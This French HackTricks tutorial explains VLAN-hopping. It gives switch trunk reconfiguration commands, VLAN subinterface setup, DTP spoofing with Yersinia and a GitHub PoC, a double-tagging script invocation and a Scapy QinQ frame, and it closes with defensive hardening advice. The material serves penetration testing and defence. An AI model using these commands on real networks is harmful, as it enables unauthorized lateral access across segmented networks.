Contournement de la segmentation VLAN latérale
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Si un accès direct à un switch est disponible, la segmentation VLAN peut être contournée. Cela implique de reconfigurer le port connecté en mode trunk, d'établir des interfaces virtuelles pour les VLAN cibles et de définir des adresses IP, soit dynamiquement (DHCP), soit statiquement, selon le scénario (pour plus de détails, consultez https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
Au départ, l'identification du port connecté spécifique est requise. Cela peut généralement être accompli par le biais de messages CDP, ou en recherchant le port via le masque include.
Si CDP n'est pas opérationnel, l'identification du port peut être tentée en recherchant l'adresse MAC :
SW1(config)# show mac address-table | include 0050.0000.0500
Avant de passer en mode trunk, une liste des VLANs existants doit être compilée et leurs identifiants déterminés. Ces identifiants sont ensuite attribués à l'interface, permettant l'accès à divers VLANs via le trunk. Le port utilisé, par exemple, est associé au VLAN 10.
SW1# show vlan brief
La transition vers le mode trunk implique d'entrer en mode de configuration d'interface :
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Passer en mode trunk perturbera temporairement la connectivité, mais cela peut être rétabli par la suite.
Des interfaces virtuelles sont ensuite créées, des ID VLAN leur sont attribués et elles sont activées :
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
Ensuite, une demande d'adresse est faite via DHCP. Alternativement, dans les cas où DHCP n'est pas viable, les adresses peuvent être configurées manuellement :
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
Exemple pour définir manuellement une adresse IP statique sur une interface (VLAN 10) :
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
La connectivité est testée en initiant des requêtes ICMP vers les passerelles par défaut pour les VLANs 10, 20, 50 et 60.
En fin de compte, ce processus permet de contourner la segmentation VLAN, facilitant ainsi un accès illimité à tout réseau VLAN et préparant le terrain pour des actions ultérieures.
Autres techniques de VLAN-Hopping (sans CLI de commutateur privilégié)
La méthode précédente suppose un accès authentifié à la console ou Telnet/SSH du commutateur. Dans des engagements réels, l'attaquant est généralement connecté à un port d'accès régulier. Les astuces suivantes de couche 2 permettent souvent de pivoter latéralement sans jamais se connecter au système d'exploitation du commutateur :
1. Spoofing de commutateur avec le protocole de trunking dynamique (DTP)
Les commutateurs Cisco qui gardent DTP activé négocieront volontiers un trunk si le pair prétend être un commutateur. La création d'un seul cadre DTP “désirable” ou “trunk” convertit le port d'accès en un trunk 802.1Q qui transporte tous les VLANs autorisés.
Yersinia et plusieurs PoCs automatisent le processus :
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Une fois que le port passe en mode trunk, vous pouvez créer des sous-interfaces 802.1Q et pivoter exactement comme indiqué dans la section précédente. Les noyaux Linux modernes ne nécessitent plus vconfig ; utilisez plutôt ip link :
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
2. Double-Tagging (Abus de Native-VLAN)
Si l'attaquant se trouve sur le VLAN natif (non étiqueté), une trame conçue avec deux en-têtes 802.1Q peut "sauter" vers un second VLAN même lorsque le port est verrouillé en mode accès. Des outils tels que VLANPWN DoubleTagging.py (rafraîchissement 2022-2024) automatisent l'injection :
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
Packet walk-through :
- Le tag externe (1) est supprimé par le premier switch car il correspond au VLAN natif.
- Le tag interne (20) est maintenant exposé ; la trame est transmise sur le trunk vers le VLAN 20.
La technique fonctionne toujours en 2025 sur les réseaux qui laissent le VLAN natif par défaut et acceptent les trames non taguées.
3. QinQ (802.1ad) Stacking
De nombreux cœurs d'entreprise prennent en charge l'encapsulation de fournisseur de service Q-in-Q. Lorsque cela est permis, un attaquant peut encapsuler un trafic tagué 802.1Q arbitraire à l'intérieur d'un fournisseur (S-tag) pour traverser des zones de sécurité. Capturez pour le type ethertype 802.1ad 0x88a8 et essayez de supprimer le tag externe avec Scapy :
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
Recommandations Défensives
- Désactivez DTP sur tous les ports accessibles aux utilisateurs :
switchport mode access
+switchport nonegotiate
. - Changez le VLAN natif sur chaque trunk en un VLAN inutilisé, de type black-hole et taguez-le :
vlan dot1q tag native
. - Éliminez les VLANs inutiles sur les trunks :
switchport trunk allowed vlan 10,20
. - Appliquez la sécurité des ports, le DHCP snooping et l'inspection ARP dynamique pour limiter l'activité Layer-2 non autorisée.
- Préférez les VLANs privés ou la segmentation L3 au lieu de vous fier uniquement à la séparation 802.1Q.
Références
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Outil d'attaque VLANPWN – https://github.com/casterbytethrowback/VLANPWN
- Twingate "Qu'est-ce que le VLAN Hopping ?" (Août 2024) – https://www.twingate.com/blog/glossary/vlan%20hopping
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.